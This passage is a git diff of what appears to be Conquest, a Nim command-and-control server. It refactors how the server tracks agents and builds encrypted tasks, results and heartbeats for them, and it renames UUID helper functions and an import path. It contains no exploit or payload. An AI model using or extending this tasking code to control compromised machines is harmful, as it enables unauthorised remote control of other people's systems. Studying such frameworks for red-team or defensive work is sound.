|
cq.keyPair = loadKeyPair(profile.getString("private_key_file"))
|
||||||
cq.dbPath = profile.getString("database_file")
|
cq.dbPath = profile.getString("database_file")
|
||||||
cq.profile = profile
|
|
||||||
|
|
||||||
return cq
|
return cq
|
||||||
|
|
||||||
proc startServer*(profilePath: string) =
|
proc startServer*(profilePath: string) =
|
||||||
|
|||||||
@@ -1,7 +1,7 @@
|
|||||||
import times, strformat, terminal, tables, json, sequtils, strutils
|
import times, strformat, terminal, tables, json, sequtils, strutils
|
||||||
|
|
||||||
import ../utils
|
import ../utils
|
||||||
import ../message/parser
|
import ../protocol/parser
|
||||||
import ../../modules/manager
|
import ../../modules/manager
|
||||||
import ../../common/[types, utils]
|
import ../../common/[types, utils]
|
||||||
|
|
||||||
@@ -62,6 +62,7 @@ proc handleAgentCommand*(cq: Conquest, input: string) =
|
|||||||
|
|
||||||
# Handle 'back' command
|
# Handle 'back' command
|
||||||
if parsedArgs[0] == "back":
|
if parsedArgs[0] == "back":
|
||||||
|
cq.interactAgent = nil
|
||||||
return
|
return
|
||||||
|
|
||||||
# Handle 'help' command
|
# Handle 'help' command
|
||||||
|
|||||||
@@ -21,7 +21,7 @@ proc serializeTask*(cq: Conquest, task: var Task): seq[byte] =
|
|||||||
packer.reset()
|
packer.reset()
|
||||||
|
|
||||||
# Encrypt payload body
|
# Encrypt payload body
|
||||||
let (encData, gmac) = encrypt(cq.agents[uuidToString(task.header.agentId)].sessionKey, task.header.iv, payload, task.header.seqNr)
|
let (encData, gmac) = encrypt(cq.agents[Uuid.toString(task.header.agentId)].sessionKey, task.header.iv, payload, task.header.seqNr)
|
||||||
|
|
||||||
# Set authentication tag (GMAC)
|
# Set authentication tag (GMAC)
|
||||||
task.header.gmac = gmac
|
task.header.gmac = gmac
|
||||||
@@ -42,7 +42,7 @@ proc deserializeTaskResult*(cq: Conquest, resultData: seq[byte]): TaskResult =
|
|||||||
|
|
||||||
# Decrypt payload
|
# Decrypt payload
|
||||||
let payload = unpacker.getBytes(int(header.size))
|
let payload = unpacker.getBytes(int(header.size))
|
||||||
let decData= validateDecryption(cq.agents[uuidToString(header.agentId)].sessionKey, header.iv, payload, header.seqNr, header)
|
let decData= validateDecryption(cq.agents[Uuid.toString(header.agentId)].sessionKey, header.iv, payload, header.seqNr, header)
|
||||||
|
|
||||||
# Deserialize decrypted data
|
# Deserialize decrypted data
|
||||||
unpacker = Unpacker.init(Bytes.toString(decData))
|
unpacker = Unpacker.init(Bytes.toString(decData))
|
||||||
@@ -102,8 +102,8 @@ proc deserializeNewAgent*(cq: Conquest, data: seq[byte]): Agent =
|
|||||||
sleep = unpacker.getUint32()
|
sleep = unpacker.getUint32()
|
||||||
|
|
||||||
return Agent(
|
return Agent(
|
||||||
agentId: uuidToString(header.agentId),
|
agentId: Uuid.toString(header.agentId),
|
||||||
listenerId: uuidToString(listenerId),
|
listenerId: Uuid.toString(listenerId),
|
||||||
username: username,
|
username: username,
|
||||||
hostname: hostname,
|
hostname: hostname,
|
||||||
domain: domain,
|
domain: domain,
|
||||||
@@ -130,7 +130,7 @@ proc deserializeHeartbeat*(cq: Conquest, data: seq[byte]): Heartbeat =
|
|||||||
|
|
||||||
# Decrypt payload
|
# Decrypt payload
|
||||||
let payload = unpacker.getBytes(int(header.size))
|
let payload = unpacker.getBytes(int(header.size))
|
||||||
let decData= validateDecryption(cq.agents[uuidToString(header.agentId)].sessionKey, header.iv, payload, header.seqNr, header)
|
let decData= validateDecryption(cq.agents[Uuid.toString(header.agentId)].sessionKey, header.iv, payload, header.seqNr, header)
|
||||||
|
|
||||||
# Deserialize decrypted data
|
# Deserialize decrypted data
|
||||||
unpacker = Unpacker.init(Bytes.toString(decData))
|
unpacker = Unpacker.init(Bytes.toString(decData))
|
||||||
@@ -77,8 +77,8 @@ proc createTask*(cq: Conquest, command: Command, arguments: seq[string]): Task =
|
|||||||
|
|
||||||
# Construct the task payload prefix
|
# Construct the task payload prefix
|
||||||
var task: Task
|
var task: Task
|
||||||
task.taskId = uuidToUint32(generateUUID())
|
task.taskId = string.toUuid(generateUUID())
|
||||||
task.listenerId = uuidToUint32(cq.interactAgent.listenerId)
|
task.listenerId = string.toUuid(cq.interactAgent.listenerId)
|
||||||
task.timestamp = uint32(now().toTime().toUnix())
|
task.timestamp = uint32(now().toTime().toUnix())
|
||||||
task.command = cast[uint16](command.commandType)
|
task.command = cast[uint16](command.commandType)
|
||||||
task.argCount = uint8(arguments.len)
|
task.argCount = uint8(arguments.len)
|
||||||
@@ -105,7 +105,7 @@ proc createTask*(cq: Conquest, command: Command, arguments: seq[string]): Task =
|
|||||||
taskHeader.packetType = cast[uint8](MSG_TASK)
|
taskHeader.packetType = cast[uint8](MSG_TASK)
|
||||||
taskHeader.flags = cast[uint16](FLAG_ENCRYPTED)
|
taskHeader.flags = cast[uint16](FLAG_ENCRYPTED)
|
||||||
taskHeader.size = 0'u32
|
taskHeader.size = 0'u32
|
||||||
taskHeader.agentId = uuidtoUint32(cq.interactAgent.agentId)
|
taskHeader.agentId = string.toUuid(cq.interactAgent.agentId)
|
||||||
taskHeader.seqNr = nextSequence(taskHeader.agentId)
|
taskHeader.seqNr = nextSequence(taskHeader.agentId)
|
||||||
taskHeader.iv = generateIV() # Generate a random IV for AES-256 GCM
|
taskHeader.iv = generateIV() # Generate a random IV for AES-256 GCM
|
||||||
taskHeader.gmac = default(AuthenticationTag)
|
taskHeader.gmac = default(AuthenticationTag)
|
||||||
Reference in New Issue
Block a user